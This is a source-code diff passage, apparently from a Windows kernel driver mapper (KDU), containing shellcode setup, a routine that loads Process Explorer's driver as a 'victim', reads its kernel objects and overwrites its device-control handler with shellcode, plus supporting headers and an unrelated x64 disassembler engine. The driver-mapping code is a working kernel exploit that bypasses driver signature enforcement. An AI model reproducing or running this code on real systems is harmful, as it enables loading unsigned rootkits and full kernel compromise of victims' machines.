g_ShellCode->InitCode[0xC] = 0x03;
|
||||
|
||||
//
|
||||
// Remember function pointers.
|
||||
//
|
||||
|
||||
g_ShellCode->Import.ExAllocatePool =
|
||||
(pfnExAllocatePool)KDUResolveFunctionInternal(KernelBase, KernelImage, "ExAllocatePool");
|
||||
ASSERT_RESOLVED_FUNC(g_ShellCode->Import.ExAllocatePool);
|
||||
|
||||
g_ShellCode->Import.ExFreePool =
|
||||
(pfnExFreePool)KDUResolveFunctionInternal(KernelBase, KernelImage, "ExFreePool");
|
||||
ASSERT_RESOLVED_FUNC(g_ShellCode->Import.ExFreePool);
|
||||
|
||||
g_ShellCode->Import.PsCreateSystemThread =
|
||||
(pfnPsCreateSystemThread)KDUResolveFunctionInternal(KernelBase, KernelImage, "PsCreateSystemThread");
|
||||
ASSERT_RESOLVED_FUNC(g_ShellCode->Import.PsCreateSystemThread);
|
||||
|
||||
g_ShellCode->Import.IofCompleteRequest =
|
||||
(pfnIofCompleteRequest)KDUResolveFunctionInternal(KernelBase, KernelImage, "IofCompleteRequest");
|
||||
ASSERT_RESOLVED_FUNC(g_ShellCode->Import.IofCompleteRequest);
|
||||
|
||||
g_ShellCode->Import.ZwClose =
|
||||
(pfnZwClose)KDUResolveFunctionInternal(KernelBase, KernelImage, "ZwClose");
|
||||
ASSERT_RESOLVED_FUNC(g_ShellCode->Import.ZwClose);
|
||||
|
||||
g_ShellCode->Import.ZwOpenKey =
|
||||
(pfnZwOpenKey)KDUResolveFunctionInternal(KernelBase, KernelImage, "ZwOpenKey");
|
||||
ASSERT_RESOLVED_FUNC(g_ShellCode->Import.ZwOpenKey);
|
||||
|
||||
g_ShellCode->Import.ZwQueryValueKey =
|
||||
(pfnZwQueryValueKey)KDUResolveFunctionInternal(KernelBase, KernelImage, "ZwQueryValueKey");
|
||||
ASSERT_RESOLVED_FUNC(g_ShellCode->Import.ZwQueryValueKey);
|
||||
|
||||
g_ShellCode->Import.DbgPrint =
|
||||
(pfnDbgPrint)KDUResolveFunctionInternal(KernelBase, KernelImage, "DbgPrint");
|
||||
ASSERT_RESOLVED_FUNC(g_ShellCode->Import.DbgPrint);
|
||||
|
||||
|
||||
ProcedureSize = SizeOfProc((PBYTE)FakeDispatchRoutine);
|
||||
|
||||
//
|
||||
// Shellcode test, unused in Release build.
|
||||
//
|
||||
#ifdef _DEBUG
|
||||
g_ShellCode->Import.ZwClose = &NtClose;
|
||||
g_ShellCode->Import.ZwOpenKey = &NtOpenKey;
|
||||
g_ShellCode->Import.ZwQueryValueKey = &NtQueryValueKey;
|
||||
g_ShellCode->Import.ExAllocatePool = &ExAllocatePoolTest;
|
||||
g_ShellCode->Import.ExFreePool = &ExFreePoolTest;
|
||||
g_ShellCode->Import.IofCompleteRequest = &IofCompleteRequestTest;
|
||||
g_ShellCode->Import.PsCreateSystemThread = &PsCreateSystemThreadTest;
|
||||
|
||||
DEVICE_OBJECT temp;
|
||||
|
||||
temp.SectorSize = 0;
|
||||
|
||||
FakeDispatchRoutine(&temp, NULL, g_ShellCode);
|
||||
#else
|
||||
if (ProcedureSize != 0) {
|
||||
|
||||
printf_s("[+] Bootstrap code size = 0x%lX\r\n", ProcedureSize);
|
||||
|
||||
if (ProcedureSize > sizeof(g_ShellCode->BootstrapCode)) {
|
||||
printf_s("[!] Bootstrap code size exceeds limit, abort\r\n");
|
||||
break;
|
||||
}
|
||||
memcpy(g_ShellCode->BootstrapCode, FakeDispatchRoutine, ProcedureSize);
|
||||
//supWriteBufferToFile(L"out.bin", g_ShellCode->BootstrapCode, ProcedureSize);
|
||||
}
|
||||
|
||||
//((void(*)())g_ShellCode->InitCode)();
|
||||
|
||||
bResult = TRUE;
|
||||
#endif
|
||||
|
||||
} while (FALSE);
|
||||
|
||||
printf_s("[<] Leaving %s\r\n", __FUNCTION__);
|
||||
|
||||
return bResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* KDUCheckMemoryLayout
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Check if shellcode can be placed within the same/next physical page(s).
|
||||
*
|
||||
*/
|
||||
BOOL KDUCheckMemoryLayout(
|
||||
_In_ KDU_CONTEXT* Context,
|
||||
_In_ ULONG_PTR TargetAddress
|
||||
)
|
||||
{
|
||||
ULONG_PTR memPage, physAddrStart, physAddrEnd;
|
||||
|
||||
KDU_PROVIDER* prov = Context->Provider;
|
||||
|
||||
//
|
||||
// If provider does not support translation return TRUE.
|
||||
//
|
||||
if ((PVOID)prov->Callbacks.VirtualToPhysical == (PVOID)KDUProviderStub)
|
||||
return TRUE;
|
||||
|
||||
memPage = (TargetAddress & 0xfffffffffffff000ull);
|
||||
|
||||
if (prov->Callbacks.VirtualToPhysical(Context->DeviceHandle,
|
||||
memPage,
|
||||
&physAddrStart))
|
||||
{
|
||||
memPage = (TargetAddress + sizeof(SHELLCODE)) & 0xfffffffffffff000ull;
|
||||
|
||||
if (prov->Callbacks.VirtualToPhysical(Context->DeviceHandle,
|
||||
memPage,
|
||||
&physAddrEnd))
|
||||
{
|
||||
ULONG_PTR diffAddr = physAddrEnd - physAddrStart;
|
||||
|
||||
if (diffAddr > PAGE_SIZE)
|
||||
return FALSE;
|
||||
else
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* KDUMapDriver
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Run mapper.
|
||||
*
|
||||
*/
|
||||
BOOL KDUMapDriver(
|
||||
_In_ PKDU_CONTEXT Context,
|
||||
_In_ LPWSTR lpMapDriverFileName)
|
||||
{
|
||||
BOOL bSuccess = FALSE;
|
||||
ULONG_PTR objectAddress, targetAddress = 0;
|
||||
FILE_OBJECT fileObject;
|
||||
DEVICE_OBJECT deviceObject;
|
||||
DRIVER_OBJECT driverObject;
|
||||
|
||||
KDU_PROVIDER* prov = Context->Provider;
|
||||
|
||||
ULONG retryCount = 1, maxRetry = 3;
|
||||
|
||||
HANDLE victimDeviceHandle = NULL;
|
||||
|
||||
printf_s("[>] Entering %s\r\n", __FUNCTION__);
|
||||
|
||||
Reload:
|
||||
|
||||
printf_s("[+] Victim driver map attempt %lu of %lu\r\n", retryCount, maxRetry);
|
||||
|
||||
//
|
||||
// If this is reload, release victim.
|
||||
//
|
||||
if (victimDeviceHandle) {
|
||||
NtClose(victimDeviceHandle);
|
||||
victimDeviceHandle = NULL;
|
||||
VictimRelease((LPWSTR)PROCEXP152);
|
||||
}
|
||||
|
||||
if (VictimCreate(Context->ModuleBase,
|
||||
(LPWSTR)PROCEXP152,
|
||||
IDR_PROCEXP,
|
||||
&victimDeviceHandle))
|
||||
{
|
||||
printf_s("[+] Victim driver loaded, handle %p\r\n", victimDeviceHandle);
|
||||
}
|
||||
else {
|
||||
printf_s("[!] Could not load victim driver, GetLastError %lu\r\n", GetLastError());
|
||||
}
|
||||
|
||||
if (supQueryObjectFromHandle(victimDeviceHandle, &objectAddress)) {
|
||||
|
||||
do {
|
||||
|
||||
RtlSecureZeroMemory(&fileObject, sizeof(fileObject));
|
||||
|
||||
printf_s("[+] Reading FILE_OBJECT at 0x%llX\r\n", objectAddress);
|
||||
|
||||
if (!KDUReadKernelVM(Context,
|
||||
objectAddress,
|
||||
&fileObject,
|
||||
sizeof(FILE_OBJECT)))
|
||||
{
|
||||
printf_s("[!] Could not read FILE_OBJECT at 0x%llX\r\n", objectAddress);
|
||||
break;
|
||||
}
|
||||
|
||||
printf_s("[+] Reading DEVICE_OBJECT at 0x%p\r\n", fileObject.DeviceObject);
|
||||
|
||||
RtlSecureZeroMemory(&deviceObject, sizeof(deviceObject));
|
||||
|
||||
if (!KDUReadKernelVM(Context,
|
||||
(ULONG_PTR)fileObject.DeviceObject,
|
||||
&deviceObject,
|
||||
sizeof(DEVICE_OBJECT)))
|
||||
{
|
||||
printf_s("[!] Could not read DEVICE_OBJECT at 0x%p\r\n", fileObject.DeviceObject);
|
||||
break;
|
||||
}
|
||||
|
||||
printf_s("[+] Reading DRIVER_OBJECT at 0x%p\r\n", deviceObject.DriverObject);
|
||||
|
||||
RtlSecureZeroMemory(&driverObject, sizeof(driverObject));
|
||||
|
||||
if (!KDUReadKernelVM(Context,
|
||||
(ULONG_PTR)deviceObject.DriverObject,
|
||||
&driverObject,
|
||||
sizeof(DRIVER_OBJECT)))
|
||||
{
|
||||
printf_s("[!] Could not read DRIVER_OBJECT at 0x%p\r\n", deviceObject.DriverObject);
|
||||
break;
|
||||
}
|
||||
|
||||
//
|
||||
// ProcExp handle no longer needed, can be closed.
|
||||
//
|
||||
NtClose(victimDeviceHandle);
|
||||
victimDeviceHandle = NULL;
|
||||
|
||||
targetAddress = (ULONG_PTR)driverObject.MajorFunction[IRP_MJ_DEVICE_CONTROL];
|
||||
|
||||
if (!KDUCheckMemoryLayout(Context, targetAddress)) {
|
||||
|
||||
printf_s("[!] Physical address is not within same/next page, reload victim driver\r\n");
|
||||
retryCount += 1;
|
||||
if (retryCount > maxRetry) {
|
||||
printf_s("[!] Too many reloads, abort\r\n");
|
||||
break;
|
||||
}
|
||||
goto Reload;
|
||||
|
||||
}
|
||||
|
||||
printf_s("[+] Victim IRP_MJ_DEVICE_CONTROL 0x%llX\r\n", targetAddress);
|
||||
printf_s("[+] Victim DriverUnload 0x%p\r\n", driverObject.DriverUnload);
|
||||
|
||||
bSuccess = TRUE;
|
||||
|
||||
} while (FALSE);
|
||||
|
||||
}
|
||||
|
||||
//
|
||||
// Ensure ProcExp handle is closed.
|
||||
//
|
||||
if (victimDeviceHandle) {
|
||||
NtClose(victimDeviceHandle);
|
||||
victimDeviceHandle = NULL;
|
||||
}
|
||||
|
||||
if (bSuccess) {
|
||||
|
||||
if (KDUSetupShellCode(Context, lpMapDriverFileName)) {
|
||||
|
||||
//
|
||||
// Write shellcode to driver.
|
||||
//
|
||||
if (!prov->Callbacks.WriteKernelVM(Context->DeviceHandle,
|
||||
targetAddress,
|
||||
g_ShellCode, sizeof(SHELLCODE)))
|
||||
{
|
||||
printf_s("[!] Error writing shellcode to the target driver, abort\r\n");
|
||||
}
|
||||
else {
|
||||
|
||||
printf_s("[+] Driver IRP_MJ_DEVICE_CONTROL handler code modified\r\n");
|
||||
|
||||
//
|
||||
// Run shellcode.
|
||||
// Target has the same handlers for IRP_MJ_CREATE/CLOSE/DEVICE_CONTROL
|
||||
//
|
||||
printf_s("[+] Run shellcode\r\n");
|
||||
Sleep(1000);
|
||||
supOpenDriver((LPWSTR)PROCEXP152, &victimDeviceHandle);
|
||||
Sleep(1000);
|
||||
}
|
||||
}
|
||||
else {
|
||||
printf_s("[!] Error while building shellcode, abort\r\n");
|
||||
}
|
||||
}
|
||||
else {
|
||||
printf_s("[!] Error preloading victim driver, abort\r\n");
|
||||
}
|
||||
|
||||
if (victimDeviceHandle)
|
||||
NtClose(victimDeviceHandle);
|
||||
|
||||
if (VictimRelease((LPWSTR)PROCEXP152)) {
|
||||
printf_s("[+] Victim driver unloaded\r\n");
|
||||
}
|
||||
|
||||
printf_s("[<] Leaving %s\r\n", __FUNCTION__);
|
||||
|
||||
return FALSE;
|
||||
}
|
|
@ -0,0 +1,74 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2020
|
||||
*
|
||||
* TITLE: DRVMAP.H
|
||||
*
|
||||
* VERSION: 1.00
|
||||
*
|
||||
* DATE: 07 Jan 2020
|
||||
*
|
||||
* Prototypes and definitions for driver mapping.
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
#pragma once
|
||||
|
||||
typedef ULONG(NTAPI* pfnDbgPrint)(
|
||||
_In_ PCHAR Format,
|
||||
...);
|
||||
|
||||
typedef PVOID(NTAPI* pfnExAllocatePool)(
|
||||
_In_ POOL_TYPE PoolType,
|
||||
_In_ SIZE_T NumberOfBytes);
|
||||
|
||||
typedef VOID(NTAPI* pfnExFreePool)(
|
||||
_In_ PVOID P);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pfnPsCreateSystemThread)(
|
||||
_Out_ PHANDLE ThreadHandle,
|
||||
_In_ ULONG DesiredAccess,
|
||||
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
_In_opt_ HANDLE ProcessHandle,
|
||||
_Out_opt_ PCLIENT_ID ClientId,
|
||||
_In_ PKSTART_ROUTINE StartRoutine,
|
||||
_In_opt_ PVOID StartContext);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pfnZwClose)(
|
||||
_In_ HANDLE Handle);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pfnZwOpenKey)(
|
||||
_Out_ PHANDLE KeyHandle,
|
||||
_In_ ACCESS_MASK DesiredAccess,
|
||||
_In_ POBJECT_ATTRIBUTES ObjectAttributes);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pfnZwQueryValueKey)(
|
||||
_In_ HANDLE KeyHandle,
|
||||
_In_ PUNICODE_STRING ValueName,
|
||||
_In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
|
||||
_Out_opt_ PVOID KeyValueInformation,
|
||||
_In_ ULONG Length,
|
||||
_Out_ PULONG ResultLength);
|
||||
|
||||
typedef VOID(NTAPI* pfnIofCompleteRequest)(
|
||||
_In_ VOID* Irp,
|
||||
_In_ CCHAR PriorityBoost);
|
||||
|
||||
typedef struct _FUNC_TABLE {
|
||||
pfnExAllocatePool ExAllocatePool;
|
||||
pfnExFreePool ExFreePool;
|
||||
pfnPsCreateSystemThread PsCreateSystemThread;
|
||||
pfnIofCompleteRequest IofCompleteRequest;
|
||||
pfnZwClose ZwClose;
|
||||
pfnZwOpenKey ZwOpenKey;
|
||||
pfnZwQueryValueKey ZwQueryValueKey;
|
||||
pfnDbgPrint DbgPrint;
|
||||
} FUNC_TABLE, * PFUNC_TABLE;
|
||||
|
||||
BOOL KDUMapDriver(
|
||||
_In_ PKDU_CONTEXT Context,
|
||||
_In_ LPWSTR lpMapDriverFileName);
|
|
@ -0,0 +1,62 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2020
|
||||
*
|
||||
* TITLE: GLOBAL.H
|
||||
*
|
||||
* VERSION: 1.00
|
||||
*
|
||||
* DATE: 24 Jan 2020
|
||||
*
|
||||
* Common include header file.
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#pragma once
|
||||
|
||||
#if !defined UNICODE
|
||||
#error ANSI build is not supported
|
||||
#endif
|
||||
|
||||
//
|
||||
// Ignored warnings
|
||||
//
|
||||
#pragma warning(disable: 4005) // macro redefinition
|
||||
#pragma warning(disable: 4091) // 'typedef ': ignored on left of '%s' when no variable is declared
|
||||
#pragma warning(disable: 4201) // nameless struct/union
|
||||
#pragma warning(disable: 26812) // Prefer 'enum class' over 'enum'
|
||||
|
||||
#include <Windows.h>
|
||||
#include <strsafe.h>
|
||||
#include <ntstatus.h>
|
||||
#include <intrin.h>
|
||||
#include "ntdll/ntos.h"
|
||||
#include "resource.h"
|
||||
|
||||
#if defined(__cplusplus)
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include "hde/hde64.h"
|
||||
#include "minirtl/minirtl.h"
|
||||
#include "minirtl/rtltypes.h"
|
||||
#include "minirtl/cmdline.h"
|
||||
#include "minirtl/_filename.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#include "consts.h"
|
||||
#include "sup.h"
|
||||
#include "compress.h"
|
||||
#include "kduprov.h"
|
||||
#include "drvmap.h"
|
||||
#include "ps.h"
|
||||
#include "victim.h"
|
||||
#include "pagewalk.h"
|
|
@ -0,0 +1,338 @@
|
|||
/*
|
||||
* Hacker Disassembler Engine 64 C
|
||||
* Copyright (c) 2008-2009, Vyacheslav Patkov.
|
||||
* All rights reserved.
|
||||
*
|
||||
*/
|
||||
|
||||
#include "hde64.h"
|
||||
#include "table64.h"
|
||||
|
||||
#pragma warning(push)
|
||||
#pragma warning(disable:4701)
|
||||
#pragma warning(disable:4706)
|
||||
|
||||
unsigned int hde64_disasm(const void *code, hde64s *hs)
|
||||
{
|
||||
uint8_t x, c = 0, *p = (uint8_t *)code, cflags, opcode, pref = 0;
|
||||
uint8_t *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0;
|
||||
uint8_t op64 = 0;
|
||||
|
||||
// Avoid using memset to reduce the footprint.
|
||||
#ifndef _MSC_VER
|
||||
memset((LPBYTE)hs, 0, sizeof(hde64s));
|
||||
#else
|
||||
__stosb((LPBYTE)hs, 0, sizeof(hde64s));
|
||||
#endif
|
||||
|
||||
for (x = 16; x; x--)
|
||||
switch (c = *p++) {
|
||||
case 0xf3:
|
||||
hs->p_rep = c;
|
||||
pref |= PRE_F3;
|
||||
break;
|
||||
case 0xf2:
|
||||
hs->p_rep = c;
|
||||
pref |= PRE_F2;
|
||||
break;
|
||||
case 0xf0:
|
||||
hs->p_lock = c;
|
||||
pref |= PRE_LOCK;
|
||||
break;
|
||||
case 0x26: case 0x2e: case 0x36:
|
||||
case 0x3e: case 0x64: case 0x65:
|
||||
hs->p_seg = c;
|
||||
pref |= PRE_SEG;
|
||||
break;
|
||||
case 0x66:
|
||||
hs->p_66 = c;
|
||||
pref |= PRE_66;
|
||||
break;
|
||||
case 0x67:
|
||||
hs->p_67 = c;
|
||||
pref |= PRE_67;
|
||||
break;
|
||||
default:
|
||||
goto pref_done;
|
||||
}
|
||||
pref_done:
|
||||
|
||||
hs->flags = (uint32_t)pref << 23;
|
||||
|
||||
if (!pref)
|
||||
pref |= PRE_NONE;
|
||||
|
||||
if ((c & 0xf0) == 0x40) {
|
||||
hs->flags |= F_PREFIX_REX;
|
||||
if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8)
|
||||
op64++;
|
||||
hs->rex_r = (c & 7) >> 2;
|
||||
hs->rex_x = (c & 3) >> 1;
|
||||
hs->rex_b = c & 1;
|
||||
if (((c = *p++) & 0xf0) == 0x40) {
|
||||
opcode = c;
|
||||
goto error_opcode;
|
||||
}
|
||||
}
|
||||
|
||||
if ((hs->opcode = c) == 0x0f) {
|
||||
hs->opcode2 = c = *p++;
|
||||
ht += DELTA_OPCODES;
|
||||
} else if (c >= 0xa0 && c <= 0xa3) {
|
||||
op64++;
|
||||
if (pref & PRE_67)
|
||||
pref |= PRE_66;
|
||||
else
|
||||
pref &= ~PRE_66;
|
||||
}
|
||||
|
||||
opcode = c;
|
||||
cflags = ht[ht[opcode / 4] + (opcode % 4)];
|
||||
|
||||
if (cflags == C_ERROR) {
|
||||
error_opcode:
|
||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
||||
cflags = 0;
|
||||
if ((opcode & -3) == 0x24)
|
||||
cflags++;
|
||||
}
|
||||
|
||||
x = 0;
|
||||
if (cflags & C_GROUP) {
|
||||
uint16_t t;
|
||||
t = *(uint16_t *)(ht + (cflags & 0x7f));
|
||||
cflags = (uint8_t)t;
|
||||
x = (uint8_t)(t >> 8);
|
||||
}
|
||||
|
||||
if (hs->opcode2) {
|
||||
ht = hde64_table + DELTA_PREFIXES;
|
||||
if (ht[ht[opcode / 4] + (opcode % 4)] & pref)
|
||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
||||
}
|
||||
|
||||
if (cflags & C_MODRM) {
|
||||
hs->flags |= F_MODRM;
|
||||
hs->modrm = c = *p++;
|
||||
hs->modrm_mod = m_mod = c >> 6;
|
||||
hs->modrm_rm = m_rm = c & 7;
|
||||
hs->modrm_reg = m_reg = (c & 0x3f) >> 3;
|
||||
|
||||
if (x && ((x << m_reg) & 0x80))
|
||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
||||
|
||||
if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {
|
||||
uint8_t t = opcode - 0xd9;
|
||||
if (m_mod == 3) {
|
||||
ht = hde64_table + DELTA_FPU_MODRM + t*8;
|
||||
t = ht[m_reg] << m_rm;
|
||||
} else {
|
||||
ht = hde64_table + DELTA_FPU_REG;
|
||||
t = ht[t] << m_reg;
|
||||
}
|
||||
if (t & 0x80)
|
||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
||||
}
|
||||
|
||||
if (pref & PRE_LOCK) {
|
||||
if (m_mod == 3) {
|
||||
hs->flags |= F_ERROR | F_ERROR_LOCK;
|
||||
} else {
|
||||
uint8_t *table_end, op = opcode;
|
||||
if (hs->opcode2) {
|
||||
ht = hde64_table + DELTA_OP2_LOCK_OK;
|
||||
table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;
|
||||
} else {
|
||||
ht = hde64_table + DELTA_OP_LOCK_OK;
|
||||
table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;
|
||||
op &= -2;
|
||||
}
|
||||
for (; ht != table_end; ht++)
|
||||
if (*ht++ == op) {
|
||||
if (!((*ht << m_reg) & 0x80))
|
||||
goto no_lock_error;
|
||||
else
|
||||
break;
|
||||
}
|
||||
hs->flags |= F_ERROR | F_ERROR_LOCK;
|
||||
no_lock_error:
|
||||
;
|
||||
}
|
||||
}
|
||||
|
||||
if (hs->opcode2) {
|
||||
switch (opcode) {
|
||||
case 0x20: case 0x22:
|
||||
m_mod = 3;
|
||||
if (m_reg > 4 || m_reg == 1)
|
||||
goto error_operand;
|
||||
else
|
||||
goto no_error_operand;
|
||||
case 0x21: case 0x23:
|
||||
m_mod = 3;
|
||||
if (m_reg == 4 || m_reg == 5)
|
||||
goto error_operand;
|
||||
else
|
||||
goto no_error_operand;
|
||||
}
|
||||
} else {
|
||||
switch (opcode) {
|
||||
case 0x8c:
|
||||
if (m_reg > 5)
|
||||
goto error_operand;
|
||||
else
|
||||
goto no_error_operand;
|
||||
case 0x8e:
|
||||
if (m_reg == 1 || m_reg > 5)
|
||||
goto error_operand;
|
||||
else
|
||||
goto no_error_operand;
|
||||
}
|
||||
}
|
||||
|
||||
if (m_mod == 3) {
|
||||
uint8_t *table_end;
|
||||
if (hs->opcode2) {
|
||||
ht = hde64_table + DELTA_OP2_ONLY_MEM;
|
||||
table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM;
|
||||
} else {
|
||||
ht = hde64_table + DELTA_OP_ONLY_MEM;
|
||||
table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;
|
||||
}
|
||||
for (; ht != table_end; ht += 2)
|
||||
if (*ht++ == opcode) {
|
||||
if (*ht++ & pref && !((*ht << m_reg) & 0x80))
|
||||
goto error_operand;
|
||||
else
|
||||
break;
|
||||
}
|
||||
goto no_error_operand;
|
||||
} else if (hs->opcode2) {
|
||||
switch (opcode) {
|
||||
case 0x50: case 0xd7: case 0xf7:
|
||||
if (pref & (PRE_NONE | PRE_66))
|
||||
goto error_operand;
|
||||
break;
|
||||
case 0xd6:
|
||||
if (pref & (PRE_F2 | PRE_F3))
|
||||
goto error_operand;
|
||||
break;
|
||||
case 0xc5:
|
||||
goto error_operand;
|
||||
}
|
||||
goto no_error_operand;
|
||||
} else
|
||||
goto no_error_operand;
|
||||
|
||||
error_operand:
|
||||
hs->flags |= F_ERROR | F_ERROR_OPERAND;
|
||||
no_error_operand:
|
||||
|
||||
c = *p++;
|
||||
if (m_reg <= 1) {
|
||||
if (opcode == 0xf6)
|
||||
cflags |= C_IMM8;
|
||||
else if (opcode == 0xf7)
|
||||
cflags |= C_IMM_P66;
|
||||
}
|
||||
|
||||
switch (m_mod) {
|
||||
case 0:
|
||||
if (pref & PRE_67) {
|
||||
if (m_rm == 6)
|
||||
disp_size = 2;
|
||||
} else
|
||||
if (m_rm == 5)
|
||||
disp_size = 4;
|
||||
break;
|
||||
case 1:
|
||||
disp_size = 1;
|
||||
break;
|
||||
case 2:
|
||||
disp_size = 2;
|
||||
if (!(pref & PRE_67))
|
||||
disp_size <<= 1;
|
||||
}
|
||||
|
||||
if (m_mod != 3 && m_rm == 4) {
|
||||
hs->flags |= F_SIB;
|
||||
p++;
|
||||
hs->sib = c;
|
||||
hs->sib_scale = c >> 6;
|
||||
hs->sib_index = (c & 0x3f) >> 3;
|
||||
if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))
|
||||
disp_size = 4;
|
||||
}
|
||||
|
||||
p--;
|
||||
switch (disp_size) {
|
||||
case 1:
|
||||
hs->flags |= F_DISP8;
|
||||
hs->disp.disp8 = *p;
|
||||
break;
|
||||
case 2:
|
||||
hs->flags |= F_DISP16;
|
||||
hs->disp.disp16 = *(uint16_t *)p;
|
||||
break;
|
||||
case 4:
|
||||
hs->flags |= F_DISP32;
|
||||
hs->disp.disp32 = *(uint32_t *)p;
|
||||
}
|
||||
p += disp_size;
|
||||
} else if (pref & PRE_LOCK)
|
||||
hs->flags |= F_ERROR | F_ERROR_LOCK;
|
||||
|
||||
if (cflags & C_IMM_P66) {
|
||||
if (cflags & C_REL32) {
|
||||
if (pref & PRE_66) {
|
||||
hs->flags |= F_IMM16 | F_RELATIVE;
|
||||
hs->imm.imm16 = *(uint16_t *)p;
|
||||
p += 2;
|
||||
goto disasm_done;
|
||||
}
|
||||
goto rel32_ok;
|
||||
}
|
||||
if (op64) {
|
||||
hs->flags |= F_IMM64;
|
||||
hs->imm.imm64 = *(uint64_t *)p;
|
||||
p += 8;
|
||||
} else if (!(pref & PRE_66)) {
|
||||
hs->flags |= F_IMM32;
|
||||
hs->imm.imm32 = *(uint32_t *)p;
|
||||
p += 4;
|
||||
} else
|
||||
goto imm16_ok;
|
||||
}
|
||||
|
||||
|
||||
if (cflags & C_IMM16) {
|
||||
imm16_ok:
|
||||
hs->flags |= F_IMM16;
|
||||
hs->imm.imm16 = *(uint16_t *)p;
|
||||
p += 2;
|
||||
}
|
||||
if (cflags & C_IMM8) {
|
||||
hs->flags |= F_IMM8;
|
||||
hs->imm.imm8 = *p++;
|
||||
}
|
||||
|
||||
if (cflags & C_REL32) {
|
||||
rel32_ok:
|
||||
hs->flags |= F_IMM32 | F_RELATIVE;
|
||||
hs->imm.imm32 = *(uint32_t *)p;
|
||||
p += 4;
|
||||
} else if (cflags & C_REL8) {
|
||||
hs->flags |= F_IMM8 | F_RELATIVE;
|
||||
hs->imm.imm8 = *p++;
|
||||
}
|
||||
|
||||
disasm_done:
|
||||
|
||||
if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) {
|
||||
hs->flags |= F_ERROR | F_ERROR_LENGTH;
|
||||
hs->len = 15;
|
||||
}
|
||||
|
||||
return (unsigned int)hs->len;
|
||||
}
|
||||
#pragma warning(pop)
|
|
@ -0,0 +1,112 @@
|
|||
/*
|
||||
* Hacker Disassembler Engine 64
|
||||
* Copyright (c) 2008-2009, Vyacheslav Patkov.
|
||||
* All rights reserved.
|
||||
*
|
||||
* hde64.h: C/C++ header file
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _HDE64_H_
|
||||
#define _HDE64_H_
|
||||
|
||||
/* stdint.h - C99 standard header
|
||||
* http://en.wikipedia.org/wiki/stdint.h
|
||||
*
|
||||
* if your compiler doesn't contain "stdint.h" header (for
|
||||
* example, Microsoft Visual C++), you can download file:
|
||||
* http://www.azillionmonkeys.com/qed/pstdint.h
|
||||
* and change next line to:
|
||||
* #include "pstdint.h"
|
||||
*/
|
||||
#include "pstdint.h"
|
||||
|
||||
#define F_MODRM 0x00000001
|
||||
#define F_SIB 0x00000002
|
||||
#define F_IMM8 0x00000004
|
||||
#define F_IMM16 0x00000008
|
||||
#define F_IMM32 0x00000010
|
||||
#define F_IMM64 0x00000020
|
||||
#define F_DISP8 0x00000040
|
||||
#define F_DISP16 0x00000080
|
||||
#define F_DISP32 0x00000100
|
||||
#define F_RELATIVE 0x00000200
|
||||
#define F_ERROR 0x00001000
|
||||
#define F_ERROR_OPCODE 0x00002000
|
||||
#define F_ERROR_LENGTH 0x00004000
|
||||
#define F_ERROR_LOCK 0x00008000
|
||||
#define F_ERROR_OPERAND 0x00010000
|
||||
#define F_PREFIX_REPNZ 0x01000000
|
||||
#define F_PREFIX_REPX 0x02000000
|
||||
#define F_PREFIX_REP 0x03000000
|
||||
#define F_PREFIX_66 0x04000000
|
||||
#define F_PREFIX_67 0x08000000
|
||||
#define F_PREFIX_LOCK 0x10000000
|
||||
#define F_PREFIX_SEG 0x20000000
|
||||
#define F_PREFIX_REX 0x40000000
|
||||
#define F_PREFIX_ANY 0x7f000000
|
||||
|
||||
#define PREFIX_SEGMENT_CS 0x2e
|
||||
#define PREFIX_SEGMENT_SS 0x36
|
||||
#define PREFIX_SEGMENT_DS 0x3e
|
||||
#define PREFIX_SEGMENT_ES 0x26
|
||||
#define PREFIX_SEGMENT_FS 0x64
|
||||
#define PREFIX_SEGMENT_GS 0x65
|
||||
#define PREFIX_LOCK 0xf0
|
||||
#define PREFIX_REPNZ 0xf2
|
||||
#define PREFIX_REPX 0xf3
|
||||
#define PREFIX_OPERAND_SIZE 0x66
|
||||
#define PREFIX_ADDRESS_SIZE 0x67
|
||||
|
||||
